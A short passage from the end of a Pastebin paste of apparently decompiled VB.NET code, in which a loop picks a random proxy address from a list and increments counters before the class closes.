  639. If Not Me.vmethod_70().Checked Then
  640. proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_6))
  641. End If
  642. Continue While
  643. End Try
  644. End If
  645. Me.int_0 += 1
  646. Me.int_2 += 1
  647. End While
  648. End Sub
  649. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!